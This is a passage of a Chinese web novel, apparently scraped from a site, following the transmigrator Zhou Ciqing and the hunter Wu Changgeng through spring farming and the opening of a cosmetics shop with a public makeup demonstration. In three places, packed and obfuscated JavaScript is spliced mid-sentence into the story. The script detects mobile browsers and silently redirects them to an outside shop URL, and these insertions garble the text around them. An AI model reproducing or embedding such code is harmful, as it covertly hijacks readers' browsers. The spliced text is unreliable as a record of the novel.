只是体弱却是免不了的，去岁在大雪寒冬中落下了病根，要日日精养着。 人参燕窝断不得，偶尔还要吃吃那药膳，方能脱离深疾。 归村，在村门口周慈青就从马车上跃下来，自个儿走回去。 路上也没遇见几个人，都在那地里头忙着呢，全家老少齐齐动员。哪怕是那两三岁，路都走得踉跄的孩子都会去搬开石子，拔些长得不深的野草。 周慈青也会遇见那么一两个从地里头回家的，见着他就问从哪来，周慈青也好脾气地一一答了。 大门只是掩着，未曾上锁。他回了家里头，轻一推门就开了。 周慈青扭着脖子环视了一圈，机敏的大黑不在。 他熟门熟路地跑进了灶屋里，见着先前煮好后又放凉的水，灌在了水囊中。 刚打算去寻吴长庚了，周慈青的脑海中却突然多了一道声音：“叮——耕地已准备好，奖励种子辣椒、玉米。” 他原是浑身一激灵，听了这话后已然来不及思考其他的，面露喜色。 他只当是个摆设的系统竟然冒出头了，还真成了他的金手指。 周慈青忙又唤了系统几声，想同它交流几句，可任凭他怎么喊，用什么样的法子都不能叫它应声。 竟又成了个会闪光的死物了。 “种子呢？” 周慈青一阵头疼，光是嘴上说说，没有真给他变出来不成？ 他在凝神苦思时，忽听外头一阵响动，圈养的鸡又是扑腾又是叫唤。 进贼了？ 周慈青连忙走出去，院里不见任何人影，也没有任何动物的影儿，笼中的鸡也安静下去。 周慈青拧紧了眉头，却见用来晾晒的竹篾盘子上多了只巴掌大的红色小福袋。 他走过去，打开一瞧，一阵无言。 这系统，下回送东西就不能用个好点的法子么？非得这般神神叨叨，要是把人吓出来个好歹怎么办。 13. 第十三章 后院菜畦。 地埂纵横，土都给翻了一遍。 春寒料峭，一般人都裹着厚实的衣衫，叫那寒风一刮，浑身直打哆嗦。 只见田间手持锄头的男子着一身薄薄的单衣，地埂上堆了几件脱下来的夹袄和狼皮坎肩，边上搁着水囊。大黑就在附近刨土，找着洞坑就挖，好似在掏田鼠洞。 男子翻地时，臂上肌肉鼓起，一身使不完的气力。汗水沾湿了衣衫，贴着他劲瘦有力的腰身，垒块分明的腹肌若隐若现。 他一锄头挖下来，再硬的土块也被轻松翻出来锤散，一把子做活的好手。喘一口儿气，扑面而来的男子气概。 这也就是在自家后院里种那两间菜畦，倘若是去田间种麦子，来来往往多少大姑娘嫂子，瞧一眼不得面红心跳。 周慈青瞅着，不禁捏了把手臂上的软肉，他穿得多，掐上自个儿的腰也捏不上绵软软的肉。 也不用怀疑，吴长庚这浑身的腱子肉确实比他好使。去过澡堂子好几回，吴长庚又会在院中烧热水冲洗身子。他瞅见的次数不少，也羡艳了许多回。 周慈青回了神，赶忙着走过去：“长庚哥，我来帮你了。” 吴长庚一抹头上的汗，就看着周慈青乐颠颠跑来。一身白嫩皮肉，哪里像个能种田的。 “马上就翻完了，用不着你。”吴长庚谢绝。 周慈青说：“这地里头还有些草呢，我要不把它们给拔了吧。” 他实在性急，吴长庚奈何不得，由着他去了。 他着实没干过什么农活，扯把草半途就断了，非得使足了力气揪得面红耳赤才能把草连根拔起。 草扔在一旁，他摊开那只手，掌心通红。 吴长庚瞥见了，沉声道：“你回去做饭吧，忙完咱就回去吃饭。” 周慈青悻悻地收回手，不犟了：“好。” “这地里是要种什么啊？”走前，周慈青问。 吴长庚瞅他一眼，说：“种菘、葵菜、马齿苋和韭菜葱蒜，天气再暖些就可以种一些冬瓜黄瓜，还有豌豆。算不得多，之后家里要吃，便来地里扯一把，在水中烫一圈拌点料汁就可以了。” 周慈青也笑吟吟地说：“是，家里种的新鲜些。” “对了，长庚哥。”他见势又说，“我这里还有几把在城里淘来的种子。我曾在走商时见过一两回，是个好东西。你若是得空的话，就帮我把它们给种下。撒在这地里头两边，不用多精心照料。” 吴长庚应了声好。 “这地儿是不是还要沃肥？”周慈青跟舍不得走似的，拿眼瞧吴长庚，嘴里还不住地问。 吴长庚说：“是，那灶膛里烧过的草木灰拿来，在地上覆上厚厚一层。还有些……” 他话头刚到一半，就把话给咽了回去。 周慈青对上他的眼，黑沉沉的。本该心头一慌，却在里头瞧见了些许羞赧的神色。 他觉得奇了。但外头冷，他见吴长庚穿得薄，不欲多加打搅他，只好脚尖转个道回去了，边走还边扬声问：“要吃些什么？” 吴长庚拔声：“都成。” * 周慈青头一回烧火做饭时还手忙脚乱着，要么就火候控制不住，要么就炭火糊了个满脸，成只小花猫似的。 吴长庚不要他忙，他还不肯，说是不能白吃饭。 好在他不是个蠢人，学个两三回就会了。不说将饭菜做得有多好吃，家常是没问题的，还能胜在取个巧。 吴长庚今儿个卖了大力气，周慈青就琢磨着做些好的给他补补身子。 他先将豆饭给焖上，这蒸出来的饭好吃，还是柴火煮出来的。米汤更是味美，比他曾经吃过电饭锅蒸出来的不知好吃多少。 后头弄来一道火腿煨肉，把屋檐下晾晒干的火腿取下来，切成片，再用冷水滚三次，捞出沥干。同样的法子做今个儿在城里割来的猪肉。再将火腿和肉放入清水里煨，加各种调料。[1] 再来就是用牛肉做的炒菜，当朝牛肉价贱。放足了油，用酱腌制牛肉，文火小炒，最后放一把芝麻。 接着又炒了两道素菜，熬了骨汤。 周慈青兴高采烈地唤吴长庚回家中吃饭。 他绕到后院去，乡里乡亲地走回家中瞧见了，直打趣他是吴长庚家中小媳妇。 周慈青可就不接这话了，他笑笑便是。 回了家，吴长庚去洗手洗脸，周慈青来喂大黑。 许是瞧出了谁才是给饭的，大黑“有奶便是娘”，近些日子亲了周慈青不少，把周慈青逗得直乐。 吴长庚敲一下碗：“吃饭。” 周慈青刚用爪子摸了大黑的狗脑壳，也赶紧去洗手，还道：“来了来了。” 他吃饭还是那么精细，细嚼慢咽，不紧不慢，饭量又小。吴长庚一连吃了两碗，他的饭才消下去一半。 就这饭量呢，还不住地拿眼去瞅簸箕上的柿饼。 前段时日喝着药生病，一直吃不得，把周慈青馋得流口水。 吴长庚咽下一口饭，说：“吃完了再吃一柿饼，少不了你的。” 周慈青剩下的饭就有些食不知味了，他再吃不下。 吴长庚说：“剩的给我。” 周慈青睁圆了眼：“这使的吗，长庚哥？” “我瞧着你也没心思再吃了，莫要浪费粮食。”吴长庚说完，又是一碗饭下肚。 周慈青双腮绯红，他搁下了筷子，慢慢吞吞地把碗朝吴长庚那儿推，真跟个小媳妇似的。 吴长庚二话不说地拿过碗，把他剩下的小半碗饭风卷残云吃完，一粒饭都没剩。 周慈青抱着柿饼啃去了。 吴长庚告诫他：“柿饼性寒，只能吃一个，不能太贪嘴。” 周慈青应道：“我晓得的，长庚哥。” 二人吃过饭就得分道扬镳，一个去忙铺子里的事，一个要去地里头。 吴长庚还得去打张床回来，周慈青住他家后，他就将床给让了出来，自个拿几个箱子推在一起拼成张床。垫上动物皮子，翻箱倒柜找出芦花和布，凑合着睡了个冬。 周慈青邀他一块上炕睡，他给拒绝了。 周慈青也想到了他生着病，怕传给吴长庚，只好黯然接受。 就这么过了三五日，县城里又热闹起来了。 还是周慈青和苏知乐那铺子闹的，倒也不是什么大事。 只那掌柜的不服气，又找上了门，比上回的苏知乐还要跳脚。 见有热闹可看，闲着的人自然驻足去瞧。 做生意讲究的就是一个脸皮厚，掌柜的见人聚的多了，也不觉难堪，直言：“缘何你们找来的小娘子替我，莫不是觉着我连女子都不如？非是我得理不饶人，如若不将此事说明白，我在这县城内还如何立足。大家说是不是？” 起哄看个乐子的自然说是了。 正巧苏知乐和周慈青也在。 前者恹恹，没精打采地说：“他可真是个狗皮膏药，怎么赶都赶不走，忒讨嫌！” 后者笑笑，说：“如今这个局面，不是我们借着他叫生意红火，就是叫他踩着咱们扬名。他有这个举动也不足为怪，着实讨嫌了点，却也是个手段。” 苏知乐讶然：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289172|140123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还为他说好呢。” 周慈青摇摇头，目露嫌恶：“我可不是夸他，我也厌恶这种下作的手段。可光是咱们讨厌也无甚大用，指不定在旁人眼中，这人还是什么有手腕的可用之才呢。” 他对苏知乐招招手：“你过来。” 苏知乐附耳去听。 周慈青如此这般，这般如此地说与他，直让苏知乐身心舒畅，赞道：“还是你有主意。” 周慈青摆手：“去吧。” 他给苏知乐历练的机会。 苏知乐带着他的小厮云生从茶坊下去，周慈青坐在搂上岿然不动。 此处着实是个好位置，抬头可见蓝天湛湛，白云袅袅。低头能望街上行人，川流不息。 苏知乐雄赳赳气昂昂地下去辩论了，周慈青托腮好生瞧着，眼中带笑。 那掌柜的始见苏知乐，不免气虚。再定睛一看，只见他一人，便忙用袖子揩泪，一把子心酸地说：“小东家，我成日可是为了你们铺子操了不少心。便是自家人都有忽视了，我也并非那等苦苦缠绕的无赖。只是我待东家以明月，东家却待我如沟渠啊。” 苏知乐下楼听这话便冷笑：“真是好生无耻之人！” 直白的嫌恶叫掌柜的涨红了面皮，还不待他勃然大怒，反嘴诘问，苏知乐就冷眼瞧着他，疾声道：“你可敢说，我们铺中的伙计不是你家中的亲戚友人！” 掌柜的愣了下，半响才言：“是，可那早就是东家知晓的。” 苏知乐不待他继续说，就开口厉声道：“我们家本是厚道人，这些伙计同你沾亲带故的，不欲计较。可你放纵他们，致使这些伙计日渐骄纵，且成日躲懒，上次还对客人出言不逊！你说，是也不是？！” 一袭质问兜头盖脸地砸下来，叫掌柜的冷汗直冒。不成想这件事居然拿出来说道，也没料想往日里拜年在他爹面前一句话都吱不出的小东家如今竟然这般口齿伶俐，愣是让他说不出半个不字。 苏知乐心知此事还不能叫掌柜的全然失利，顶多下个东家的伙计都换成自己人，互相监督便是。 说不准旁人还要笑，是他们自己家要让掌柜的雇佣家中亲友。 掌柜的闹了个没脸，正待灰溜溜地离开。 “先别走，既然你不依不饶问个不停，我也不妨告知你为何我们这回的掌柜要请女子。” 苏知乐转了个道，同看热闹的这群人说： “各位客官再半月后便可来鄙人的铺子捧个场了。我们这铺子是做脂粉生意的，却不是往日那等简单脂粉。我们所售之物从头到脚都有干系，保管你焕然一新，再不似从前那般。三月十五日，恰恰是个吉利的日子。在光天化日之下，我们也不敢欺瞒各位父老乡亲，届时请大家做个见证。” “什么见证？” “开张大吉！让一平平无奇之人变倾城美人！” “嚯！” 众人一惊，没料到这位小东家一开口就是惊人之语，真是好大的口气。 可观他老神在在的模样，不像在唬人。 这会子才是将大家的好奇心给吊了起来，只想快些到那三月十五日，好让他们见识见识。 不消说，都知晓过不了几日此地就会叫人给围满了。 那掌柜的心知肚明，心中俨然凉了半截。 不管苏知乐是否吹嘘，他只要能做到一半，便是铺子成了。先前随口说的协约自是他输了。 嘴皮子比不过人家，论能耐也不行，反倒是亲手叫人生意愈来愈红火。 他心中又急又气，直怒得仰倒——封陵县，定是再无他的立足之地了！ 14.第十四章 县城里头哄哄闹闹，茶坊二楼却要的是那闹中取静。 二楼的窗拨开，外头天明云净。 两名中年男子对坐，饮茶，静看楼下之喧嚷。 茶毕，其中一位笑道：“三月十五，好日子！看起来，杨兄要在当日多拨些人手去，才好叫此地不出什么意外了。” 另外一位拱拱手，也笑：“石兄说的是极。不曾想，我才初到这封陵县任职就碰上了这么些乐事，倒是赶上好了。” “你不觉此地之人狂悖妄言，便是我封陵之幸了。” 二人谈兴渐浓，又说起了三月后去乡下劝课农桑之事，又言县政事务繁琐。直至人群散去，话才方止。 此事周慈青并不知晓，他方从茶坊下去，只觉从隔壁出来这两名男子周身气度不凡，绝非常人。 没得交情可攀，他自是不会上前讨嫌，下楼便同苏知乐一起归家。 后面十几日，周慈青都要忙着铺子里的事，吴长庚当是在地里头忙活，还上山去打猎了一回。 他猎来一只山鸡，又因入了春，菜色渐丰，二人着实吃了一顿好的。 这日，吴长庚将木床给扛了回来。 周慈青连个桌脚都抬不起的严实木床，吴长庚轻轻松松就抬进了屋子，毫不费力。 这间小院里头有三间房，一个灶屋，左右都是院墙和篱笆。其中一间房是周慈青和吴长庚现今儿住着的，另外两间都放着杂物，叫吴长庚收拾出来了一间。 周慈青不好鸠占鹊巢，便道：“长庚哥，还是你住原来那间屋吧，我哪里都住的呢。” 他忙忙地递了水囊给吴长庚，手中拿着抹布，殷勤地擦完了木床。 吴长庚仰头大口咽下水，喉结不住地滚动，余光瞟着他，就听他讲话。 周慈青的嘴巴不停：“今儿个见日头好，我就将屋里这几床被褥都拿出去晒了。绒花还有羽毛我也给掏出来放簸箕里晒着，倒不敢轻易去洗。” 吴长庚点个头：“我看见了。” 他放下了水囊，同周慈青说：“近日你也别忙活太过，家里头的活计都由我来，不必这般劳累。这间屋子有些沉闷，不如主间屋子开阔，你就住原来的炕上，不必同我客套。” 周慈青的眉心拧起了，他顺势坐在木床沿上，说：“我哪会跟长庚哥客气啊，你同我就是没有血缘的亲兄弟啊。长庚哥说这话倒是生疏了，活活叫我伤心。” 吴长庚瞧出了他在使闷气，深黑眼珠盯着他，不言。 “可这礼数又不能废，哪有主人家住偏房的理儿嘛，旁人瞧见了还当我是什么霸道人了。”周慈青嘀嘀咕咕的，“这是不成的，旁的事我都能依你，唯独这事儿不能。” 吴长庚觉得好笑，他说：“那你别忙活家里头的事，免得平白辛苦。” 周慈青一口否决：“那不成。我现在手头还没什么钱，同苏家的生意才起步，没能还上你的钱已是让我难受了。我成天吃着人参燕窝，嘴里都尝不出来滋味，只觉苦得发慌。长庚哥，你再不让我给你做些什么，我得怄死。” 吴长庚握住了他竹筒倒豆子说个不停的红红嘴巴，沉声说：“好好的，说什么死不死。” 周慈青把手搁在吴长庚手背上，用眼神示意自个儿不讲了，讨好地对他笑笑。 他手白如玉，从未干过什么重活，掌心柔嫩，活似豆腐。 吴长庚被烫到似的缩回了手。 “长庚哥，你竟也信这些。”眼瞅着要惹怒人，周慈青忙道，“好么，不说这个便是了。” “不如这样，你我各退一步。你将这木床搬来主屋里，咱们还住一个屋子。我们便是各睡一张床，或是两人睡一张床，不就都使得吗？可巧了，我的病也去了，只是偶有胸闷气短，那吃个人参燕窝也过去的，不是什么要染给人的病，我也不惧和你睡一块叫你受罪了。你看这样可好？” 他说得情真意切，那双明亮黝黑的眼珠神采飞扬，柔软且漂亮。 像他这样生得细嫩干净，脸蛋还挂着粉扑扑的红，水灵灵的神仙人儿，不拘是说什么话，都能哄得旁人应下来。 吴长庚也不知说了什么，只发觉自己再一抬头，周慈青已经眉开眼笑起来，稀里糊涂地就应下了他所有的要求。 木床还没在收拾妥帖的小屋里放热乎呢，就已经移到了主屋里。炕挨着床，床贴着炕，周慈青夜间翻个身的动作再大些，俩人就能滚一块去。 此事稍作不提，三月十五那日已到。 这街头巷尾都热闹得紧，尤是那家脂粉铺子最甚。围观的行人挤挤挨挨，摩肩接踵，甚至还有专门的衙役被差使过来维持秩序，免得出大乱子。 县城内其他地儿就冷清不少，那些铺子的老板冷哼一声，干脆关门大吉，去瞧瞧那家脂粉铺子到底是要弄出来个什么鬼名堂。 苏知乐在店里的二楼那可是坐立不安，干脆站起来打着圈儿地走个不停，看得人眼晕。 吴长庚就瞧着周慈青，他正拿着包子啃。 苏知乐是等不及了，天不亮就在吴家小院外喊人，惊得大黑直朝外头汪汪叫唤，不知又惊起了几个人。 周慈青叫吴长庚从温暖的被窝里挖了出来，换衣洗漱。起得早些，连饭都没吃就来了县城里头，他还憋着一肚子气呢。 他这里不紧不慢地吃了两个包子，喝完一碗油茶，饱了。 吴长庚一直目不转睛地盯着他，眉间隐见几分郁气。 周慈青问：“长庚哥，你还要吃么？” 吴长庚摇头：“我已经饱了。” “你是不适应这地么。也是，外头吵闹得紧。”周慈青懊恼地拍拍脑袋，惭愧地说，“光顾着让你过来瞧瞧我们生意如何了，却没有考虑妥帖，这都是我的错。外头实在热闹，连对面的茶坊都座无虚席，订不上位置。左右也待不了多久，你先暂且忍一忍。” 吴长庚回他：“无碍，不必忧心我。” 苏知乐急忙说：“都这个时候了，你们怎的还有心思闲说呢。” “急有什么用，还不如坐下好生瞧着。”周慈青淡声说，“人是早先找来调教好了的，店里头卖的这些也是咱们挨个仔仔细细检查了的。若是这都应付不下，不如别做生意了。你回去读书，我回去种田，岂不妥当。” 苏知乐悻悻坐下。 吴长庚想说些什么，却又闭上了嘴。 周慈青敏锐发觉他的心情低落了几分，他握上了吴长庚搁在桌上的拳头，说：“如今眼看着我就要做起来这生意了，我心里头未免还是有些慌张，觉着处处还是有些不如别人的地方。多亏长庚哥坐在这，我心里头倒安稳不少。” 吴长庚未发一言，眉目间却舒缓不少。 周慈青心里头也好受许多，他的嘴角也落上了几分笑。 苏知乐觉着怪异，眉心刚皱了几分，将要说话。只听得外头一声锣鼓骤响，如雷霆一般劈断了他的神思，唬了他好大一跳。 方才要说些什么他也给忘了个一干二净，他也和旁的人一起，低下了脑袋去瞧外头发生了什么。 苏知乐从外头雇来的人敲响了锣鼓，将爆竹烧得噼里啪啦作响，也是图个好彩头。 女掌柜面对外头人山人海也不怕，笑弯了眼：“多谢诸位客官大驾光临，愿意来给咱们小店捧场，惠娘在此感激不尽。恕惠娘无礼，客套场面话不多说，好让各位一早就来等着的客官瞧瞧店中所售之物的真面目。大家也好生瞧瞧，我们东家此前所言究竟是真是假。” 真是巾帼不让须眉，这位女掌柜当真是好口才，说的话不仅不叫人烦腻，还三言两语就提起了旁人的好奇心。 众人都凑近了不少。 红绸缎子拆下，之前搭在牌匾上往下垂的红布扯开，叫牌匾也在今日得以重见光明。 众人抬起脑袋，瞧见那牌匾上金光一闪，“蔻颜坊”三个大字龙飞凤舞地横在上头，不容忽视。 它这下边儿还有一道小匾，识字的便一个字接一个字念出来：“还你青春永驻，美貌如初。” 做生意最要紧的就是吹嘘自己，便是一粒米都能夸出一朵花儿来。当朝百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306324|140123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓早先就已知晓，笑笑便罢，谁也不曾将此当做回事。 大门敞着，往内看，嚯，店里东家绝对是花了大手笔——瞧那不知从哪运来的石砖，竟然雪白洁净，虽是有些纹路肌理，也是别具一格之美。涂在墙面的白色石灰粉自是不必说，在周遭点亮了壁灯之后，亮堂堂的，比外头悬着的明日照耀下还要亮眼不少。 那些胭脂水粉分门别类地摆在柜面上，每处都有铜镜，柜后站着满面笑容的年轻女郎。 本是女子所用之物，请来的皆是女子也不足为奇。众人还待细看之时，就见里头走出两名女子。 在店铺前有一半人高的小台，放了张竹椅。 面貌普通，丢进人群里也找不出特色的女子就坐在椅子上，双拳握紧，眼珠不敢往人群瞧。 另外一名女子瞧着清秀温婉，落落大方，还笑着安慰她：“别担心，听我说的做就成。” 苏知乐凑在周慈青身旁说：“不枉你调|教她好几日，这名妆娘定会叫他们大开眼界。” 周慈青摇头笑笑：“是她自个聪慧。” 寻常没个乐子，只能在茶坊听个曲儿，瞧瞧歌舞，百戏，再多的热闹是凑不完的。 今儿个倒是独一份，他们倒是要好生看看，如何让人从寻常变美人！ 只见那名妆娘在女子脸上不知涂涂抹抹了什么，她的脸蛋瞧着倒是细腻了几分。 男子不觉有什么，女子们却是已经捏紧了手帕，立时看直了眼。谁不盼着自己的皮肤更细腻柔软，这肉眼可见变好了几分，是再多天花乱坠都无法让他们心安的。 再见妆娘从一玉盒里抹来一粒膏脂，点在女人额上，双颊，鼻梁，下巴，慢慢涂抹开，又拿那柔软的扁状棉饼轻轻拍开，连带着还涂了脖颈。 围观的群众不由瞪大了眼睛，交头接耳的声音大了不少。 “白了，竟是白了不少，她的脸瞬时好似冰肌雪肤！” “不妥不妥，连唇上都没了血色，有什么好看的？” “急什么，瞧着这才是第一步呢。” 窃窃私语逐渐散去，那妆娘还在继续。 她又打开了一个长盒，盒里似是胭脂，瞧着尽是是红艳艳的色泽，只是有深有浅，不全一样，还有一方尽是闪亮亮的白色。 妆娘拿出毛笔似的杆子，在那盒子里沾了之后，又在女子眼圈上涂抹，点染。不过一会儿，那眼皮就带了色泽，还有几分妖媚。 又是一只黑笔，在女子上眼睑勾着，又到了眼尾，一道惑人眼线而成。 另拿一只笔，又在下眼睑涂了几下。 “快快快，掐我一下，好叫我知道，那可是错觉？怎的她的眼睛变大了不少！” “非是你看错，我也瞧见了，眼睛当真变得明亮有神了许多。” “简直……简直化腐朽为神奇了！” 妆娘不停，又拿另外一只笔在眼眶、鼻梁上轻涂。平地起高楼！女子原来那扁平的鼻梁骤然高挺起来，好一场鬼斧神工之手法！ 再是眉毛，又是抹粉，又是拿笔涂，竟绘成了细细弯弯的柳叶眉。 再来又是唇脂，涂上后，血色不知好了多少，还变化了唇形。原来的唇瓣平平无奇，后来的竟饱满漂亮。 有些女子在闺中好友耳边窃窃低语：“这个颜色我不大喜欢，太轻浮。” 友人道：“我倒是觉着美艳大方，极醒目。” 听见她们低语，也有人道：“想是唇脂定然不止一种颜色，总有你喜欢的。” 说者无心，听者有意。众人眼睛都比来时亮了不少，打定了主意要进去好生逛逛。 这还不算完呢，只见那妆娘又持来一只满是绒毛的笔，沾了沾粉，在女子面上涂了几下，那女子眼瞅着脸蛋小了不少！ 再来颧上又涂了粉嫩嫩的脂粉，血色一下上去了，比一开始瞧着白如女鬼，放在夜间不知会吓死多少人的状态不晓得好看多少。 妆娘结束后，将女子拉了起来。 女子抿嘴微笑。 台下雅雀无声。 15.第十五章 茶坊内，别说那些平民百姓了，便是些有钱有势的乡绅，富商和吏员，都抻长了脖子，睁圆了眼睛。 他们自是也拉着身旁的人叠声论道：“你们可瞧清楚了，不是我眼花吧，当真是普通人变美人了！” “可不是，传说中的易容术也不过如此吧。”那些不羁的少年人是这般猜测的。 商人们捻了些酸：“可是那苏家小子出的主意，他父亲倒是个好命人。这叫什么——长江后浪推前浪，只怕是开业后门槛都得被踏破吧！” “大兄莫要担心，让这小子且得意着。如今他叫咱们县里头多少人前来围观此次开业，可又想过如何招待？如此生事，只怕会失礼于不少人。咱们且冷眼看着吧！” 几人抚须，面向而笑。 茶坊对面便是蔻颜坊，二楼的苏知乐亦在忧心此事，他便将自己的烦扰说给周慈青听。 周慈青喝了口苦茶，脑中清明了些。他看向苏知乐，平静地说：“依你之见，该如何行事？” 苏知乐被他盯着，脑中一片空白。 他支支吾吾地说不出来，脑门上尽是些汗珠，擦也不敢擦，面皮慢慢地涨红了。 周慈青并不用失望的目光瞧他，笑道：“我也不难为你，你过来。” 苏知乐马上乐颠颠地跑过去，瞧着周慈青的目光仿若再生父母。 周慈青吩咐了几句，说：“这位惠掌柜可是位聪明人，一点就通。你也不必事事都揽在自个儿身上，待生意做大了，免不了还得把手底下的事交给他人。你便是有三头六臂，也无法面面俱到。” 苏知乐露出若有所思的神情，他拱手说：“周叔，受教了。” 待他下去，周慈青面上还是欣慰之色。 吴长庚不免觉着有几分好笑。 周慈青脖子一扭就瞅见了他脸上的笑，这下换他双腮染红了，有几分羞恼：“长庚哥，笑话我作甚？” 吴长庚问：“周叔？” 周慈青又羞了几分，他故意逗苏知乐玩呢，哪里想到竟叫吴长庚捉了个正着。 他眼神胡乱瞟着，嘴里还在道：“此事原就想告诉你，不过不大要紧，忙来忙去竟忘了。苏员外是个周到人，先是以礼待我，后叫我领着苏知乐做生意，于是便索性同我称兄道弟起来。” 话毕，他急急地端起一杯茶喝下，想是要掩去尴尬无措。 因着喝得太急，竟呛了水，不自觉地咳了起来。立时便面红耳赤，双眸润水，更是慌张。 吴长庚忙忙过来抚着他的背，轻拍几下。 周慈青体态实在是风流纤瘦，便是衣衫再如何厚重，也不能叫他壮硕起来。吴长庚一拍就能摸到他那细伶伶的骨头，也没个几两肉，不自觉地就皱起了眉头。 “还得好好养养。” 周慈青听得这话，不由嘟囔：“又不是生的病，不小心喝了茶水呛成这样。长庚哥，你也不用把我当什么精贵少爷养着，我自己晓得的。” 楼下脂粉气渐浓，周慈青倒不觉有甚，却见吴长庚折了眉心。 他握上了吴长庚的手，这下指腹贴着掌心，摸上了猎户常年打猎干粗活变厚实的重茧，糙，硬。 周慈青心里奇，又痒痒的，竟用指腹去摩挲两下。 他不自觉做了这事儿，是仗着人亲昵不同他计较呢。 吴长庚扭过脑袋瞧他，眸色沉了几分。 周慈青吓着了，缩回了手，他涨红了脸，方要解释。 吴长庚已经开口：“这里已经不用你坐镇了，不若趁着人还未涌进来，先离开。” 周慈青也站了起来，紧跟在他身后。 二人一前一后从后院里走出，周慈青还欲张嘴问方才的事可曾介意。 吴长庚已然转过身，同他说起买些种子牲畜回去养着。 见他对方才的事不放在心上，周慈青便也不上赶着讨嫌了。 说起牲畜，他倒是想养小猪得紧，忙忙拉着吴长庚说是要买些猪仔回去，养到过年就有卤猪肉吃。 而另一边，蔻颜坊迎来了不少客人。 好在大都是来瞧个热闹的，看完后便离开了，想着下回空闲时再看看这蔻颜坊有些什么好东西。 也有不少对金光闪闪的牌匾和光景整洁的内店望而生畏，竟缩回了踏出去的脚。 即便是如此，客人依旧多得店中装不下。 苏知乐按此前周慈青安排的对惠娘叮嘱了一会。她是个聪明人儿，只要给指个明路，放权给她，她就能将这事儿办的漂漂亮亮，不让主家操心分毫。 从其他店调来的伙计在惠娘的料理下，自是各司其职，也没得迷乱糊涂。 她自个儿满面歉意，对着那些客人们道：“小店承蒙诸位客官抬爱，生意繁忙，让诸位久等，实在抱歉不过了。惠娘在此先告个罪。” 又说了店铺内的一应妥帖服务，还需等上半柱香。又是给优惠的凭证，又是送些小礼物，还不忘进去催催店中接待的女郎们。在那铺子外边，又唤来几位妆娘来给客人们解释产品。 如此一来，烦躁、催促、骚动等乱象，一概都免除了，还对这店赞不绝口。 苏知乐见状心喜，同云生说：“周叔的眼光是顶好的，我呢，真是拍马都不及。” 云生笑嘻嘻地说：“哪能啊，少爷您跟着多学学，日后也是能这样的。” 瞧瞧这，让人看作是桩烦心事的客太多，三五两下就给稳妥安排了。 真真叫人又酸又气，直叹苏家不知从哪找来的利落人，真是半点不输男子。缘何他们就不能慧眼识英雄，做这匹千里马之伯乐呢！ 好容易店里走上正轨，苏知乐尚未松口气，便听有人拔了声，巴巴地问：“惠娘，先前你家小东家吹说自家店内所卖之物，从头到脚都变样儿，我等可是听得真真切切。方才我们可是只瞧了脸上涂涂抹抹的，想是还未展示完。既然人这样多，不若趁此机会，一一告知我等，可别叫人扫兴才是。” 随声应和者不少。 苏知乐赶紧去寻周慈青，却哪儿都不见他的身影。 后院门房告知：“周先生早便跟着那位人高马大的友人走了。” 苏知乐默默无言。 他这跟个无头苍蝇似的，惠娘却早有法子应对。 她是一点都不急，还亲身上阵叫跟在身边的女郎拿了一木箱的瓶瓶罐罐出来，满面笑容：“既如此，那惠娘就斗胆将店内所用之物告知大家一二。” * 周慈青一连打了两个喷嚏，他揉揉鼻子，嫩白的鼻尖儿红了。 吴长庚看他。 周慈青忙说：“没生病呢，不过鼻子有几分痒意，揉两下就畅快多了。” 吴长庚看了好几眼，才就此饶过他。 周慈青又拉着他说：“长庚哥，瞧这只粉猪崽子如何？” 吴长庚常年同牲畜打交道，自是会看这些。 他拎起哼哼胡乱直叫的猪崽子，点头：“不错。” 周慈青立刻就付了钱，收下这只猪仔。 “买的还是只小母猪，待它长大了，许是能生下更多的小猪仔呢。来年我们就有数不清的猪了。”周慈青掰着手指细算。 吴长庚没去搅散他的美梦。 他二人又买了两只小羊回去，再来是种子，又给周慈青买了点吃食尝着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336550|140123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴长庚牵着猪羊，手持菜种，不大能空出手。周慈青乐得伸手喂他，饼子撕碎了，还要喂到嘴边。 来来往往的行人都瞧着呢，周慈青也不嫌丢人，眼儿都弯成了月牙。 吴长庚脸皮都泛着薄红，幸得他比之周慈青肤黑，瞧不大出。 可他却不曾出言制止周慈青。 周慈青漆黑的眼珠子亮得紧，靠在吴长庚肩膀处同他咬耳朵：“我们关系亲呢，才这般腻歪的，旁人我是理也不理的。单是你我才如此行事，行得正坐得端，不怕瞧呢。” 吴长庚脖子一扭，面颊就蹭到了周慈青玉白的脸蛋儿，长睫毛也是打着颤。 他猛地一回头，心鼓跳如雷，有只找不清路的小鹿在里头撞来撞去似的。 “欸，长庚哥，你瞧！惠娘在说从头到脚有什么护理的呢，定是有人出言质疑此前苏知乐的话，才来了这样一遭。”周慈青面露微笑，尽在他掌控之中。 